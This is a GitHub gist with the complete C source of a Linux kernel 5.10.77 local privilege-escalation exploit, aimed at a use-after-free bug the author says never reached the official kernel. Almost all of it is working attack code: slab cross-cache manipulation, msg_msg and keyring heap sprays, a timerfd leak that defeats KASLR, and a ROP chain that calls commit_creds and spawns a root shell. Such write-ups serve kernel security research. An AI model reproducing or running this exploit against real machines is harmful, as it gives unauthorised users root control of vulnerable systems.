Created
July 2, 2023 21:23
-
-
Save soez/fe35c29b042f3ea666550195cf4b68df to your computer and use it in GitHub Desktop.
No CVE for this https://lkml.org/lkml/2019/12/5/814 it has never been in the official kernel
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* | |
* Author: @javierprtd | |
* Date : 22-06-2023 | |
* Kernel: 5.10.77 | |
* Bug : https://lkml.org/lkml/2019/12/5/814 | |
* Review: This bug has never been in the official kernel | |
* Post : https://soez.github.io/posts/no-cve-for-this.-It-has-never-been-in-the-official-kernel | |
* | |
*/ | |
// gcc exp.c -no-pie | |
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <errno.h> | |
#include <sys/mman.h> | |
#include <string.h> | |
#include <pthread.h> | |
#include <sys/wait.h> | |
#include <sys/types.h> | |
#include <stdbool.h> | |
#include <sys/syscall.h> | |
#include <sys/ptrace.h> | |
#include <sys/msg.h> | |
#include <sys/ipc.h> | |
#include <sys/resource.h> | |
#include <sys/prctl.h> | |
#include <sys/socket.h> | |
#include <sys/stat.h> | |
#include <linux/keyctl.h> | |
#include <sys/timerfd.h> | |
#define OBJECT_SIZE 256 | |
#define OBJS_PER_SLAB 16 | |
#define CPU_PARTIAL 64 | |
#define MTYPE_FIRST 0x41 | |
#define MTYPE_SECOND 0x42 | |
#define MSG_HEAD_SIZE 48 | |
#define NUM_MSQIDS 4096 | |
#define PAGE_SIZE 4096 | |
#define NUM_FILES 1024 | |
#define NUM_TIMERS 1024 | |
#define NUM_BYTES 20000 | |
#define NUM_KEYS 200 | |
#define BEGIN_OBJ PAGE_SIZE - MSG_HEAD_SIZE - sizeof(uint64_t) | |
#define PTRACE_GETFD 0x420f | |
#define STACK_SIZE (1024 * 1024) | |
#define NULL_MEM 0xfffffe0000002000 | |
typedef int32_t key_serial_t; | |
int pipefd[2]; | |
key_serial_t keys[NUM_KEYS]; | |
int fd_timer[NUM_TIMERS]; | |
int msqid[NUM_MSQIDS]; | |
int fd_init[NUM_FILES]; | |
uint32_t fd[(CPU_PARTIAL + 3) * OBJS_PER_SLAB]; | |
struct msg { | |
uint64_t type; | |
char text[BEGIN_OBJ + OBJECT_SIZE]; | |
}; | |
/* | |
* Attach to a specific CPU. | |
*/ | |
bool pin_cpu(int cpu) { | |
cpu_set_t set; | |
CPU_ZERO(&set); | |
CPU_SET(cpu, &set); | |
if (sched_setaffinity(0, sizeof(set), &set) < 0) { | |
perror("[-] sched_setafinnity(): "); | |
return false; | |
} | |
return true; | |
} | |
static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) { | |
return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5); | |
} | |
static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) { | |
return syscall(__NR_add_key, type, description, payload, plen, ringid); | |
} | |
int write_msg(int msqid, void *msgp, size_t msgsz) { | |
if (msgsnd(msqid, msgp, msgsz, IPC_NOWAIT | MSG_NOERROR) < 0) { | |
perror("[-] msgsnd"); | |
exit(0); | |
} | |
return 0; | |
} | |
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { | |
if (msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR) < 0) { | |
perror("[-] msgrcv"); | |
printf("errno: %d\n", errno); | |
exit(0); | |
} | |
return 0; | |
} | |
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { | |
if (msgrcv(msqid, msgp, msgsz, msgtyp, IPC_NOWAIT | MSG_NOERROR) < 0) { | |
perror("[-] msgrcv"); | |
exit(0); | |
} | |
return 0; | |
} | |
int traceme(void* arg) { | |
pid_t pid = getpid(); | |
ptrace(PTRACE_TRACEME, pid, NULL, NULL); | |
write(pipefd[1], &pid, 4); | |
sleep(1); | |
exit(0); | |
} | |
int get_fd(uint32_t fd_idx, uint32_t last) { | |
pid_t tid; | |
int status; | |
void *stack = calloc(1, STACK_SIZE); | |
/* Attach process */ | |
clone(traceme, stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, NULL); | |
read(pipefd[0], &tid, 4); | |
puts("[+] Put extra references of the fd vulnerable in file table"); | |
/* Insert 3 more extra references of the vulnerable fd */ | |
for (int j = 0; j < 3; j++) { | |
int err = ptrace(PTRACE_GETFD, tid, NULL, fd[fd_idx]); | |
if (err < 0) { | |
perror("err: "); | |
exit(0); | |
} | |
} | |
wait(&status); | |
/* Close fd vulnerable */ | |
close(fd[fd_idx]); | |
/* Return first reference to the fd vulnerable */ | |
return fd[last] + 1; | |
} | |
void hexdump(uint64_t *buf, uint64_t size) { | |
for (int i = 0; i < size / 8; i += 2) { | |
printf("0x%x ", i * 8); | |
printf("%016lx %016lx\n", buf[i], buf[i + 1]); | |
} | |
} | |
uint64_t user_cs, user_ss, user_sp, user_rflags; | |
void save_state() { | |
__asm__( | |
".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax;" | |
); | |
} | |
void shell(void) { | |
char *shell = "/bin/sh"; | |
char *args[] = {shell, NULL}; | |
if (!getuid()) { | |
printf("[+] Got root shell :)\n"); | |
execve(shell, args, NULL); | |
} else { | |
printf("FAIL\n"); | |
} | |
exit(0); | |
} | |
int main(int argc, char *argv[]) { | |
puts("[+] No CVE for this"); | |
/* Open pipe */ | |
if (pipe(pipefd) < 0) { | |
perror("[-] pipe"); | |
exit(0); | |
} | |
/* Get num of cpu */ | |
int ncpus = sysconf(_SC_NPROCESSORS_ONLN); | |
/* The buffer for user_key_payload spray */ | |
char buffer[OBJECT_SIZE - 24]; | |
memset(buffer, 0, sizeof(buffer)); | |
*(uint64_t *) &buffer[40 - 24] = NULL_MEM; // fops | |
*(uint64_t *) &buffer[56 - 24] = 1; // f_count | |
*(uint32_t *) &buffer[68 - 24] = 0X4000; // mode | |
/* Set num files to 65535 */ | |
struct rlimit limit; | |
limit.rlim_cur = 65535; | |
limit.rlim_max = 65535; | |
if (setrlimit(RLIMIT_NOFILE, &limit) != 0) { | |
perror("[-] setrlimit()"); | |
exit(0); | |
} | |
puts("[+] Open init files"); | |
/* Open init files to better cross cache */ | |
for (int i = 0; i < NUM_FILES; i++) { | |
fd_init[i] = open("/etc/passwd", O_RDONLY); | |
} | |
sleep(1); | |
puts("[+] Start msg_msg"); | |
/* Init msg_msg */ | |
for (int i = 0; i < NUM_MSQIDS; i++) { | |
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) { | |
perror("[-] msgget"); | |
exit(0); | |
} | |
} | |
sleep(1); | |
int i = 0, offset = 0, fd_idx = 0, fd_last; | |
/* Struct msg, for spraying with msgsnd */ | |
struct msg message_w, message_r; | |
memset(&message_w, 0, sizeof(message_w)); | |
message_w.type = MTYPE_FIRST; | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 40] = NULL_MEM; // fops | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 56] = 2; // f_count | |
*(uint32_t *) &message_w.text[BEGIN_OBJ + 68] = 0x4000; // mode | |
puts("[+] Start cross cache attack"); | |
/* Start cross cache */ | |
for (i = 0; i < ((CPU_PARTIAL + 1) * OBJS_PER_SLAB); i++) { | |
fd[i] = open("/etc/passwd", O_RDONLY); | |
} | |
offset += i; | |
/* Going on with cross cache */ | |
for (i = 0; i < (OBJS_PER_SLAB - 1); i++) { | |
fd[offset + i] = open("/etc/passwd", O_RDONLY); | |
} | |
offset += i; | |
fd_idx = offset++; | |
puts("[+] Getting fd vulnerable"); | |
/* Get fd vulnerable */ | |
fd[fd_idx] = open("/etc/passwd", O_RDONLY); | |
puts("[+] Going on with cross cache"); | |
/* Going on with cross cache */ | |
for (i = 0; i < (OBJS_PER_SLAB + 1); i++) { | |
fd[offset + i] = open("/etc/passwd", O_RDONLY); | |
} | |
offset += i; | |
fd_last = --offset; | |
/* Put extra references of the fd vulnerable in file table */ | |
/* And get first reference of the fd vunerlable */ | |
int fd_victim = get_fd(fd_idx, fd_last); | |
printf("[+] First fd vulnerable: %d\n", fd_victim); | |
/* For leaving one partial slab */ | |
open("/etc/passwd", O_RDONLY); | |
puts("[+] Finishing cross cache"); | |
/* Emptying the page of the fd vulnerable */ | |
for (i = 1; i < (OBJS_PER_SLAB + 2); i++) { | |
close(fd[fd_idx + i]); | |
close(fd[fd_idx - i]); | |
} | |
/* Close 1 fd per full slab to cause overflow in the partial list */ | |
/* Then it will discard the whole slab (page) of the fd vulnerable */ | |
/* Because it is all the slab free */ | |
for (i = 0; i < (14 * OBJS_PER_SLAB); i++) { | |
if (i % OBJS_PER_SLAB == 0) { | |
close(fd[i]); | |
} | |
} | |
puts("[+] msg_msg spray"); | |
/* msgsnd spray */ | |
for (i = 0; i < NUM_MSQIDS; i++) { | |
pin_cpu(i % ncpus); | |
if (write_msg(msqid[i], &message_w, sizeof(message_w.text)) < 0) { | |
perror("[-] write_msg"); | |
exit(0); | |
} | |
} | |
sleep(1); | |
puts("[+] Find object on msg_msg"); | |
/* Close 1 reference of fd_victim */ | |
/* But it will not free */ | |
/* The f_count = 2 */ | |
int ret = close(fd_victim); | |
if (!ret) { | |
char *buf = NULL; | |
uint32_t uaf = 0, uaf_key = 0; | |
for (i = 0; i < NUM_MSQIDS; i++) { | |
pin_cpu(i % ncpus); | |
/* Read de messages of first spray for finding the vulnerable object */ | |
memset(&message_r, 0, sizeof(message_r)); | |
if (peek_msg(msqid[i], &message_r, sizeof(message_r.text), 0) < 0) { | |
perror("[-] peek_msg"); | |
exit(0); | |
} | |
buf = ((char *) &message_r) + PAGE_SIZE - MSG_HEAD_SIZE; | |
/* Found message, deleted */ | |
if (buf[56] != 2) { | |
uaf = i; | |
printf("[+] Found object at %d\n", uaf); | |
memset(&message_r, 0, sizeof(message_r)); | |
if (read_msg(msqid[uaf], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) { | |
perror("[-] read_msg"); | |
exit(0); | |
} | |
break; | |
} | |
} | |
if (uaf) { | |
sleep(1); | |
puts("[+] spray keyring"); | |
/* Spray user_key_payload struct */ | |
for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) { | |
pin_cpu(i % ncpus); | |
snprintf(buffer, OBJECT_SIZE - 24, "key-%d", i); | |
keys[i] = add_key("user", buffer, buffer, OBJECT_SIZE - 24, KEY_SPEC_PROCESS_KEYRING); | |
if (keys[i] < 0) { | |
perror("[-] add_key"); | |
exit(0); | |
} | |
} | |
/* Close 1 reference, it will be freed */ | |
close(fd_victim + 1); | |
char buff[OBJECT_SIZE - 24]; | |
/* Finding vulnerable object */ | |
for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) { | |
uint32_t keylen = keyctl(KEYCTL_READ, keys[i], (long) buff, 232, 0); | |
if (keylen < 0) { | |
perror("[-] keyctl"); | |
exit(0); | |
} | |
if (buff[32] != 1) { | |
uaf_key = i; | |
printf("[+] Found UAF key object at %d\n", uaf_key); | |
break; | |
} | |
} | |
if (uaf_key) { | |
puts("[+] msg_msg spray"); | |
/* In this step, with this spray we are modifing the len of user_key_payload struct */ | |
message_w.type = MTYPE_FIRST; | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 16] = 1024; // size key | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 56] = 1; // f_count | |
for (i = 0; i < NUM_MSQIDS; i++) { | |
if (i != uaf) { | |
pin_cpu(i % ncpus); | |
if (write_msg(msqid[i], &message_w, sizeof(message_w.text)) < 0) { | |
perror("[-] write_msg"); | |
exit(0); | |
} | |
} | |
} | |
puts("[+] Making holes in msg_msg objects"); | |
/* Making holes close by the vulnerable object for timerfd_ctx struct */ | |
for (i = uaf - 48; i < (uaf + 48); i++) { | |
if (i != uaf) { | |
memset(&message_r, 0, sizeof(message_r)); | |
if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) { | |
perror("[-] read_msg"); | |
exit(0); | |
} | |
} | |
} | |
// hexdump((uint64_t *) leak, 1024); | |
puts("[+] Spray timerfd_ctx"); | |
/* Spray timerfd_ctx */ | |
/* For leaking kernel base and the heap object address */ | |
struct itimerspec its; | |
its.it_interval.tv_sec = 0; | |
its.it_interval.tv_nsec = 0; | |
its.it_value.tv_sec = 10; | |
its.it_value.tv_nsec = 0; | |
for (int i = 0; i < NUM_TIMERS; i++) { | |
pin_cpu(i % ncpus); | |
fd_timer[i] = timerfd_create(CLOCK_REALTIME, 0); | |
timerfd_settime(fd_timer[i], 0, &its, 0); | |
} | |
char leak[1024]; | |
/* Get leak */ | |
uint32_t keylen = keyctl(KEYCTL_READ, keys[uaf_key], (long) leak, 1024, 0); | |
if (keylen < 0) { | |
perror("[-] keyctl"); | |
exit(0); | |
} | |
uint64_t timerfd_tmrproc = *(uint64_t *) &leak[0x110]; | |
if ((int64_t) timerfd_tmrproc < 0) { | |
uint64_t kernel_base = timerfd_tmrproc - 0x3db850; | |
uint64_t chunk = *(uint64_t *) &leak[0x178] - 0x190; | |
printf("[+] kernel base: 0x%lx\n", kernel_base); | |
printf("[+] heap payload: 0x%lx\n", chunk); | |
uint64_t rip = kernel_base + 0xbe00b5; | |
uint64_t add_rsp = kernel_base + 0x1b1f1e; | |
uint64_t pop_rdi = kernel_base + 0x5eb4b3; | |
uint64_t prepare_kernel_cred = kernel_base + 0xf3c30; | |
uint64_t commit_creds = kernel_base + 0xf39c0; | |
uint64_t kpti_trampoline = kernel_base + 0xe00fb0 + 22; | |
/* Save registers */ | |
save_state(); | |
/* The final buffer with ROP */ | |
memset(&message_w, 0, sizeof(message_w)); | |
message_w.type = MTYPE_SECOND; | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 8] = chunk + 0x400; // rbp | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 16] = add_rsp; // add rsp, 0x70 | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 40] = chunk; // fops | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 56] = 1; // f_count | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 120] = rip; // rip | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 136] = 0; // | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 144] = 0; // | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 152] = chunk + 0x400; // rbp | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 160] = pop_rdi; // pop_rdi | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 168] = 0; // arg | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 176] = prepare_kernel_cred; // prepare_kernel_cred | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 184] = commit_creds; // commit_creds | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 192] = kpti_trampoline; // | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 200] = 0; // dummy rax | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 208] = 0; // dummy rdi | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 216] = (uint64_t) shell; // shell | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 224] = user_cs; // user_cs | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 232] = user_rflags; // user_rflags | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 240] = user_sp & 0xffffffffffffff00; // user_sp | |
*(uint64_t *) &message_w.text[BEGIN_OBJ + 248] = user_ss; // user_ss | |
puts("[+] Free object to leave space to the final payload"); | |
/* Free the vulnerable object for leave space to the final payload */ | |
keylen = keyctl(KEYCTL_REVOKE, keys[uaf_key], 0, 0, 0); | |
if (keylen < 0) { | |
perror("[-] keyctl"); | |
exit(0); | |
} | |
sleep(1); | |
puts("[+] Last msg_msg spray"); | |
/* Spray the final payload with ROP */ | |
for (int i = 0; i < 64; i++) { | |
if (i != uaf) { | |
pin_cpu(i % ncpus); | |
if (write_msg(msqid[i], &message_w, sizeof(message_w.text)) < 0) { | |
perror("[-] write_msg"); | |
exit(0); | |
} | |
} | |
} | |
puts("[+] Cleaning up"); | |
/* Cleaning up the timerfd_ctx */ | |
for (int i = 0; i < NUM_TIMERS; i++) { | |
close(fd_timer[i]); | |
} | |
/* Cleaning up the user_key_payload struct */ | |
for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) { | |
if (i != uaf_key) { | |
uint32_t keylen = keyctl(KEYCTL_REVOKE, keys[i], 0, 0, 0); | |
if (keylen < 0) { | |
perror("[-] keyctl"); | |
exit(0); | |
} | |
} | |
} | |
/* Cleaning up the msg_msg buffers */ | |
for (i = 0; i < (uaf - 48); i++) { | |
memset(&message_r, 0, sizeof(message_r)); | |
if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) { | |
perror("[-] read_msg"); | |
exit(0); | |
} | |
} | |
/* Cleaning up the msg_msg buffers */ | |
for (i = (uaf + 48); i < NUM_MSQIDS; i++) { | |
memset(&message_r, 0, sizeof(message_r)); | |
if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) { | |
perror("[-] read_msg"); | |
exit(0); | |
} | |
} | |
/* Cleaning up the init files */ | |
for (int i = 0; i < NUM_FILES; i++) { | |
close(fd_init[i]); | |
} | |
/* Cleaning up the fds from cross cache */ | |
for (int i = 0; i < ((CPU_PARTIAL + 1) * OBJS_PER_SLAB); i++) { | |
if (i % OBJS_PER_SLAB != 0) { | |
close(fd[i]); | |
} | |
} | |
puts("[+] Triggering ROP"); | |
/* Trigger ROP */ | |
close(fd_victim + 2); // trigger control RIP | |
} else { | |
puts("[+] No leak found :("); | |
} | |
} else { | |
/* Cleaning up user_key_payload struct */ | |
for (int i = 0; i < (NUM_BYTES / OBJECT_SIZE); i++) { | |
uint32_t keylen = keyctl(KEYCTL_REVOKE, keys[i], 0, 0, 0); | |
if (keylen < 0) { | |
perror("[-] keyctl"); | |
exit(0); | |
} | |
} | |
puts("[+] No key found :("); | |
} | |
} else { | |
/* Cleaning up msg_msg */ | |
for (i = 0; i < NUM_MSQIDS; i++) { | |
pin_cpu(i % ncpus); | |
memset(&message_r, 0, sizeof(message_r)); | |
if (read_msg(msqid[i], &message_r, sizeof(message_r.text), MTYPE_FIRST) < 0) { | |
perror("[-] peek_msg"); | |
exit(0); | |
} | |
} | |
puts("[-] No msg_msg found :("); | |
} | |
} else { | |
puts("[-] spray failed :("); | |
} | |
exit(0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment